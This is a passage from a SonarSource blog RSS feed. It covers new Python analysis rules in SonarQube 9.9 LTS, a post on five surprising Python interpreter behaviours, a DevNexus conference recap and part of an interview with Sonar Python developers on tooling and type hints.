)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That would have been hard for a developer to spot on their own. It&amp;#x27;s not hard at all for SonarQube.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ad14d7b6-18ee-4d2d-a37b-df1ea3d31d7b/Screenshot%202023-05-04%20at%2011.10.07.png&quot; /&gt;&lt;p&gt;In SonarQube 9.9 LTS our developers introduced &lt;strong&gt;21&lt;/strong&gt; new rules to help Python developers, write efficient, error-free, safe, and less complex regular expressions! You can find all the Python rules related to regular expressions at &lt;a href=&quot;https://rules.sonarsource.com/python/tag/regex&quot;&gt;rules.sonarsource.com&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Write better unit tests&lt;/h3&gt;&lt;p&gt;If you&amp;#x27;re using the &lt;code&gt;unittest&lt;/code&gt; or &lt;code&gt;pytest&lt;/code&gt; frameworks to write your Python unit tests, you’re in luck, because SonarQube 9.9 LTS adds rules specifically related to analyzing your test code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/write-better-unit-tests-in-python-thanks-to-a-new-set-of-rules-dedicated-to-unittest-and-pytest/71044&quot;&gt;See all the rules here.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Build secure AWS infrastructure with rules targeting the AWS CDK&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More and more developers are using the &lt;a href=&quot;https://aws.amazon.com/cdk/&quot;&gt;AWS CDK&lt;/a&gt; to describe their AWS infrastructure, combining the flexibility of a programming language with the complexity of cloud infrastructure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The CDK provides preconfigured and experience-tested default values, but the creation of patterns and structures can still lead to security misconfigurations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS provides &lt;a href=&quot;https://rules.sonarsource.com/python/tag/aws&quot;&gt;19 rules&lt;/a&gt; to raise security hotspots on AWS CDK code written in Python, to make sure your IaC is as secure as your source code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/17f8a0bc-62fd-474f-8764-bb066f4d2e5b/Screenshot%202023-05-04%20at%2009.44.53.png&quot; /&gt;&lt;h3&gt;New bug-detection rules track dataflow with symbolic execution&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS adds support for detecting&lt;em&gt; &lt;/em&gt;advanced Python bugs using symbolic execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The purpose of a symbolic execution engine is to visit all feasible execution paths, even across method calls, to find tricky bugs located in the source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider the following piece of code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def hello(name):
  print(&quot;Hello &quot; + name.upper())

def foo():
  name = None
  hello(name) # Triggers an AttributeError&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example a variable is initialized to &lt;code&gt;None&lt;/code&gt; in a function and its value is used in another function. Accessing an attribute of &lt;code&gt;None&lt;/code&gt; triggers an &lt;code&gt;AttributeError&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here&amp;#x27;s a more complex example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def get_field(space, w_node, name, optional):
    w_obj = w_node.getdictvalue(space, name)
    if w_obj is None:
        if not optional:
            raise oefmt(space.w_TypeError,
                &quot;required field \&quot;%s\&quot; missing from %T&quot;, name, w_node)
        w_obj = space.w_None
    return w_obj

@staticmethod
def from_object(space, w_node):
    w_n = get_field(space, w_node, &apos;n&apos;, False)
    w_lineno = get_field(space, w_node, &apos;lineno&apos;, False)
    w_col_offset = get_field(space, w_node, &apos;col_offset&apos;, False)
    _n = w_n
    if _n is None:
      raise_required_value(space, w_node, &apos;n&apos;) # Noncompliant&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There&amp;#x27;s a lot going on here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;_n&lt;/code&gt; is an alias for &lt;code&gt;w_n&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Given that the fourth arg of &lt;code&gt;get_field&lt;/code&gt;  call is &lt;code&gt;False&lt;/code&gt; , and &lt;code&gt;w_obj&lt;/code&gt;  would be None, an exception will be raised, hence there will be no return value from &lt;code&gt;get_field&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Now, the only possible return value of &lt;code&gt;get_field&lt;/code&gt;  must be something different than &lt;code&gt;None&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Hence, the condition &lt;code&gt;_n is None&lt;/code&gt; is always False, and some subsequent code is never evaluated.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Mistakes like this are &lt;a href=&quot;https://stackoverflow.com/questions/8949252/why-do-i-get-attributeerror-nonetype-object-has-no-attribute-something&quot;&gt;very common&lt;/a&gt; and can be very difficult to work out on your own. SonarQube 9.9 LTS now raises issues in these cases, with nine total rules detecting similar complex bugs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These rules are available in commercial editions of SonarQube.&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;SonarQube is made by developers, for developers. Our goal is to help all developers be able to write Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have &lt;strong&gt;even more&lt;/strong&gt; reasons to prepare this upgrade with your team. This is a free version upgrade for all, and you can get the LTS in just a few clicks at &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I&amp;#x27;d like to thank fellow SonarSourcers &lt;strong&gt;Alexandre Gigleux&lt;/strong&gt; and &lt;strong&gt;Andrea Guarino &lt;/strong&gt;for their contributions to this blog post.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Weird Python: 5 Unexpected Behaviors in the Python Interpreter]]></title><description><![CDATA[Five ways in which Python's interpreter behaves in ways that you wouldn't expect.]]></description><link>https://www.sonarsource.com/blog/weird-python-5-unexpected-behaviors-in-the-python-interpreter</link><guid isPermaLink="false">6d52179d-1d58-5907-bc9a-3079c8920995</guid><dc:creator><![CDATA[Quazi Nafiul Islam]]></dc:creator><pubDate>Mon, 01 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We love Python, but sometimes, it can behave in counterintuitive ways. In this post, we want to show you five ways in which Python&amp;#x27;s interpreter behaves in ways that you wouldn&amp;#x27;t expect.&lt;/p&gt;&lt;h2&gt;Mutable Default Arguments&lt;/h2&gt;&lt;p&gt;If you&amp;#x27;ve been using Python for a while, then this one will not come as a surprise. In Python, default arguments are evaluated only once, and this happens when the function is defined. As a result, mutable objects like lists and dictionaries retain their state between function calls.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def add_item(item, items=[]):
   items.append(item)
   return items


print(add_item(1))  # Output: [1]
print(add_item(2))  # Output: [1, 2], not [2] as you might expect&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to avoid this, you can use some variation of the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def add_item(item, items=None):
   if items is None:
       items = []
   items.append(item)
   return items&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The idea is to set items to &lt;code&gt;None&lt;/code&gt;, and then set it to an empty list. This way, we have a default value, which avoids the issue of having a mutable default value.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1c1fdd6d-3323-48aa-9383-1e28abb2798a/Weird%20Python%20image%20A.png&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Integer Caching&lt;/h2&gt;&lt;p&gt;Python Integers are cached, meaning that they are objects that are already created as the interpreter starts. So, when one assigns the number &lt;code&gt;10&lt;/code&gt; to the variable &lt;code&gt;a&lt;/code&gt;, the interpreter simply reuses that object. This has some interesting implications when using the identity operator &lt;code&gt;is&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;a = 10
b = 10
print(a is b)  # Output: True&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, if you compare any numbers using the identity operator that are not in the range of -5 to 256, then you will get a different result:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;c = 300
d = 300
print(c is d)  # Output: False&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is why the equality operator &lt;code&gt;==&lt;/code&gt; should always be used when comparing numbers. In the current implementation of our analyzer, we have detection when you are comparing a variable directly against a literal, and we are working towards support for variable-to-variable comparisons as well.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0ae0d8e9-402c-4314-aae4-f8cac2af76e4/Weird%20Python%20image%20B.png&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Late Binding Closures&lt;/h2&gt;&lt;p&gt;Consider the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; funcs = [lambda x: x * i for i in range(5)]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print([f(3) for f in funcs])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;[12, 12, 12, 12, 12]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The lambdas above should have resulted in &lt;code&gt;0, 3, 6, 9, 12&lt;/code&gt; not &lt;code&gt;12, 12, 12, 12, 12&lt;/code&gt;. One would hope that we would get functions that would multiply &lt;code&gt;x&lt;/code&gt; by a different number, &lt;code&gt;i&lt;/code&gt;. However, the lambda function simply captures the variable &lt;code&gt;i&lt;/code&gt;, and not its value during loop iteration. By the time the lambda function is actually called, the value of &lt;code&gt;i&lt;/code&gt; is already &lt;code&gt;4&lt;/code&gt;. If we wanted to get our desired output, we would need to change the code like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;funcs = [lambda x, i=i: x * i for i in range(5)]
print([f(3) for f in funcs])  # Output: [0, 3, 6, 9, 12]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By doing this, we tell the interpreter to capture the current value of &lt;code&gt;i&lt;/code&gt; during each iteration of the loop. This kind of issue can be caught in SonarLint.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/872d8ac9-31f9-4e61-b5ad-191b79eb92c8/Weird%20Python%20image%20C.png&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;String Interning&lt;/h2&gt;&lt;p&gt;Like Integer Caching, Python stores some small strings only once, and simply has variables point to it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a = &amp;quot;hello&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; b = &amp;quot;hello&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a is b&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;True&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, if we try this with a larger string, we will get a different result.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; c = &amp;quot;hello world&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; d = &amp;quot;hello world&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; c is d&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;False&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Again, this is why the equality operator &lt;code&gt;==&lt;/code&gt; should always be used when making comparisons. Similar to Integer Caching, when a variable-to-variable comparison is made, SonarLint will not catch it, but when a variable to a literal comparison is made, SonarLint can catch this type of issue. We are working towards adding support for variable-to-variable comparisons as well.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4b85d450-6475-4f10-ae00-3fef463fb4db/Weird%20Python%20image%20D.png&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;The += Operator on Mutable and Immutable Types&lt;/h2&gt;&lt;p&gt;Consider the following example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;a = [1, 2, 3]
b = a
a += [4]
print(b)  # Output: [1, 2, 3, 4]


s = &quot;hello&quot;
t = s
s += &quot; world&quot;
print(t)  # Output: &quot;hello&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the first part of the example, &lt;code&gt;a&lt;/code&gt; is a list (mutable). When we create &lt;code&gt;b&lt;/code&gt;, it points to the same list object in memory as &lt;code&gt;a&lt;/code&gt;. Using the &lt;code&gt;+=&lt;/code&gt; operator with a mutable object like a list modifies the original object in place. In this case, &lt;code&gt;a += [4]&lt;/code&gt; appends the element &lt;code&gt;4&lt;/code&gt; to the original list, which is also referenced by &lt;code&gt;b;&lt;/code&gt; no new list is created. Therefore, when we print &lt;code&gt;b&lt;/code&gt;, the output is &lt;code&gt;1, 2, 3, 4&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the second part of the example, &lt;code&gt;s&lt;/code&gt; is a string (immutable). When we create &lt;code&gt;t&lt;/code&gt;, it points to the same string object in memory as &lt;code&gt;s&lt;/code&gt;. However, using the &lt;code&gt;+=&lt;/code&gt; operator with an immutable object like a string creates a new object, rather than modifying the original object in place.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When we try to add &lt;code&gt;word&lt;/code&gt; to the string &lt;code&gt;s&lt;/code&gt; with, &lt;code&gt;s +=  world&lt;/code&gt; creates a new string object with the value &lt;code&gt;hello world&lt;/code&gt; and assigns it to &lt;code&gt;s&lt;/code&gt;. The variable &lt;code&gt;t&lt;/code&gt; still points to the original string object (in memory) with the value &lt;code&gt;hello&lt;/code&gt;. This is why when we print &lt;code&gt;t&lt;/code&gt;, the output is &lt;code&gt;hello&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This difference in behavior between mutable and immutable objects when using the &lt;code&gt;+=&lt;/code&gt; operator can lead to unexpected results when you have multiple variables or containers referencing the same object.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The way to avoid this problem is to use object specific methods. For example, with lists, we can use &lt;code&gt;append&lt;/code&gt; or &lt;code&gt;extend&lt;/code&gt;. With strings, we can create new strings that are formatted using f-strings like so:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;s = f”{t} world”&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Currently, this is the only weird quirk in Python (mentioned in this list) that we don&amp;#x27;t have a rule for, but we are considering adding it since many new Pythonistas fall into this trap of assuming that the &lt;code&gt;+=&lt;/code&gt; operator behaves the same way with different objects.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Python, like any other programming language, has its quirks. However, with practice, we can learn to avoid making some of the most common mistakes, and ensure that our code works the way we intended. Tools like &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; help in avoiding such mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Reflections from DevNexus, the largest Java conference in the U.S.A.]]></title><description><![CDATA[Reflections from DevNexus, the largest Java conference in the U.S.A.]]></description><link>https://www.sonarsource.com/blog/reflections-from-devnexus-the-largest-java-conference-in-the-u-s-a</link><guid isPermaLink="false">0dd222c4-d603-5bb5-95a6-74167b8cf2ee</guid><dc:creator><![CDATA[Jonathan Vila Lopez]]></dc:creator><pubDate>Sun, 30 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This April 4-6, 2023, Sonar participated at &lt;a href=&quot;https://devnexus.com/&quot;&gt;DevNexus&lt;/a&gt;, the largest Java conference in the USA. It was a great conference with more than 1400 developers coming from all over the world and more than 90 speakers sharing knowledge on several topics including Software architecture, Java core, Kubernetes, and Security.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our booth presence allowed us to have many discussions with attendees, coming from different companies mainly using Java as the programming language,  and their use of Sonar tooling (SonarLint, SonarQube, SonarCloud). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of the talks were particularly interesting, and a special mention to the Keynote &amp;quot;Five Skills to force multiply your technical talent&amp;quot; by Arun Gupta, where he gave 5 tips to improve our soft skills and leverage good communication, mindfulness, and conflict resolution in order to be a more effective person and a professional. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another mention goes to the talk regarding Java vulnerabilities by Gerrit Grunwald called &amp;quot;Wargames - Java vulnerabilities and why you should care&amp;quot;. Nowadays we know the impact of the vulnerabilities that cause data breaches and a lot of lost money. Is important to put our focus on security and his talk covered this topic explaining the different vulnerabilities and how they are related to Java security.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And finally, I would like to mention the live coding session by Mala Gupta, combining coding katas to address asynchronicity and non-blocking activities and how Java APIs help us with that, all made following an ancient Paneer Tikka Masala Indian recipe. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Sonar is well-known and used&lt;/h2&gt;&lt;p&gt;The majority of people that came to the booth were already using SonarQube, and their feeling is that it helps them to produce better code in a controlled way that avoids introducing bad or unclean code to their projects. They become very excited to see the vast security coverage on the Sonar analysis.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6a4b314b-6bab-46e2-8953-dab79703b55d/DevNexus%201.png&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5ec1c392-14b3-4e39-aded-92a7367919f9/DevNexus%201B.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With that said, there&amp;#x27;s still room for improvement as some of the attendees are not using a code linter in their daily work, but after showing them that SonarLint is available for free as a plugin for the most common IDEs, their answer has been &amp;quot;nice, I will definitely try it&amp;quot;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/98f33f38-9763-4a8d-871b-bb085b3cc09e/DevNexus%202.png&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Nothing like a live demo&lt;/h2&gt;&lt;p&gt;There were several opportunities to demonstrate Sonar products, with live analysis of code and a walk-through of the platform showing the different issues, for those still not using Sonar products, or even for those not aware of the latest features.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e2fd2cca-304a-49e5-b8f8-c33befdf3cc2/DevNexus%203.jpeg&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Speaking at DevNexus&lt;/h2&gt;&lt;p&gt;I was a speaker talking about Zero Trust Architecture, for more than 50 attendees, showing the Zero Trust concept, with several interesting questions at the end of the talk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A common approach when trying to secure our systems is to use Perimeter security, where the expected single point of entry to our system is secure, and considering that if a request from a user is inside the system it is because it already passed through the security gate. Nowadays we&amp;#x27;ve seen that this is not always the case as more vulnerabilities appear that have allowed remote execution from inside our system, where security was not enforced. The Zero Trust approach considers every user as an attacker and makes mandatory the security of the communication between services, no longer trusting the network.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1ebd19f7-f301-4e2a-bedd-ac972e500825/DevNexus%204.png&quot; /&gt;&lt;p&gt;Being part of the Java community also brings great pleasures and meetings, in this case with all the Hispanic communities (República Dominicana, Ecuador, México, España, Perú, Guatemala) and with some of the worldwide Java User Groups leaders present at DevNexus.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ceec149a-b128-47f4-885a-4b3f69c844c5/DevNexus%205.png&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2634fab3-1ce0-4521-a251-58c4ae5139da/DevNexus%206.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some important takeaways from DevNexus 2023 have been:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Clean Code is seen as a key and important concept for the majority of developers&lt;/li&gt;&lt;li&gt;Security is a real concern and there are tools and practices to mitigate it&lt;/li&gt;&lt;li&gt;Developer productivity goes beyond coding fast and involves good practice and several soft skills to make group work reach optimal performance.&lt;/li&gt;&lt;li&gt;The power of the open-source community via the Java Users Groups is great and helps the spread of good practice and knowledge.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you want to explore more about the Clean as You Code approach, here are some recommended reads:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.google.com/url?q=https://www.sonarsource.com/solutions/our-unique-approach&amp;sa=D&amp;source=editors&amp;ust=1682589041249489&amp;usg=AOvVaw1kCv8GvyQIKRzXu0AoAvkT&quot;&gt;https://www.sonarsource.com/solutions/our-unique-approach&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.google.com/url?q=https://www.sonarsource.com/blog/increase-velocity-with-clean-as-you-code/&amp;sa=D&amp;source=editors&amp;ust=1682589041249934&amp;usg=AOvVaw1WtZsLMnD-k9R3xSpk7zC-&quot;&gt;https://www.sonarsource.com/blog/increase-velocity-with-clean-as-you-code/&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Interview with Sonar Python Developers Part 2]]></title><description><![CDATA[Latest Python developments. Interview with Python developers from Sonar.]]></description><link>https://www.sonarsource.com/blog/interview-with-sonar-python-developers-part-2</link><guid isPermaLink="false">0e03df2a-b196-5c28-be49-fbe13dfb833c</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Tue, 25 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Welcome back to our two-part series where we pose questions from the Community to three Python developers from Sonar. &lt;/p&gt;&lt;p&gt;As part of our celebration of all things Python during April we took the opportunity to sit down with Nafiul, Cheng, and Yaniv, three Python fans with different roles at Sonar, and get their take on questions submitted by our Community. You can check out Part 1 &lt;a href=&quot;https://www.sonarsource.com/blog/interview-with-sonar-python-developers-part-1/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What are your thoughts on Python tooling (IDEs, extensions, testing tools) and its maturity?&lt;/h2&gt;&lt;h4&gt;Quazi Nafiul Islam&lt;/h4&gt;&lt;p&gt;Tooling is quite good in Python although it isn&amp;#x27;t as good as Java in some cases. I mainly use PyCharm as my main IDE, and I have a few plugins installed like AceJump and SonarLint; I don&amp;#x27;t use much else. I think the place where Python could see a lot of improvement is packaging and package management.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Cheng Chen&lt;/h4&gt;&lt;p&gt;I think the tooling of Python is very, very mature. On the IDE side you have two big options: VS code and PyCharm… VS Code is very good and meets most needs. I was a VS code user, and now I&amp;#x27;m using PyCharm and I love it! When I do a lot of scientific computing I also use Spyder which is a specialized IDE for that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With a huge and dynamic community, Python has a ton of packages that you can explore for almost everything that you could think of, and why not wrap your codes into a package and share it in the community, so everyone can use it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Yaniv Nizry&lt;/h4&gt;&lt;p&gt;The Python community stands out as the largest among other programming languages, if I may say so, making it a highly mature programming language. It is evident when encountering a problem or aiming to write a specific code; chances are high that someone has already tackled it within the community. Due to the popularity of Python, there is a demand for great tooling and many companies are after that demand.&lt;/p&gt;&lt;p&gt;My personal environment is very dependent on my project, usually, I&amp;#x27;ll use a simple script so it will be one file and probably IDLE/VS code. In case I program a bigger project I&amp;#x27;ll move to a more organized manner using GIT, PyCharm, Pyvenv, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What&amp;#x27;s a recent change to Python (the programming language itself) that gets you excited?&lt;/h2&gt;&lt;h4&gt;Quazi Nafiul Islam&lt;/h4&gt;&lt;p&gt;It’s not just one thing, but the fact that Python is constantly getting better. For example, we now have PyScript, which allows you to build front-end applications with Python. Pandas has a sort-of upgrade with a new library called Polars which allows you to do everything that you can do in Pandas but much faster. However, most importantly, the CPython interpreter itself is getting faster and faster with each release.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here is a Tweet from PyPI regarding how much compute they were saving when they upgraded to Python 3.11, which introduced many performance enhancing features.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fb240c5f-84d0-4d78-a2d5-ec80d6431e46/Python%20Package%20index%20tweet.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Cheng Chen&lt;/h4&gt;&lt;p&gt;My first thought was the introduction of dataclasses in Python 3.7, but then I think the type hints from Python 3.5 are a more impactful change. Type hints greatly improve the code readability and let you spot mistakes easier before running the code. Several popular static type packages like mypy and pydantic also directly benefit from it. This complements Python&amp;#x27;s flexibility as a dynamically typed language.&lt;/p&gt;&lt;p&gt;Python type hints have been constantly evolving since their introduction and something that I liked recently is the explicit type alias and the simplified type union annotation introduced in 3.10. I&amp;#x27;ll give an example in the ML world. In ML we talk a lot about vectors, labels, samples, datasets…&lt;/p&gt;&lt;p&gt;A vector is a list of float or int numbers:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Vector: TypeAlias = list[float | int]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A label could be a boolean, an integer, or a string. A label could also be missing (None):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Label: TypeAlias = bool | int | str | None&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A data sample is a tuple of a vector and a label:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;DataSample: TypeAlias = tuple[Vector, Label]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A dataset is a list of data samples:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Dataset: TypeAlias = list[DataSample]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then we define a method train_model which takes in a dataset as argument and train the model, I can write&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def train_model(ds: Dataset) -&gt; Model:
  pass&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Without explicit type alias, I would write (a bit harder to read):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def train_model(
ds: List[Tuple[List[Union[float,int]], Union[bool,int,str,None]]]
) -&gt; Model:
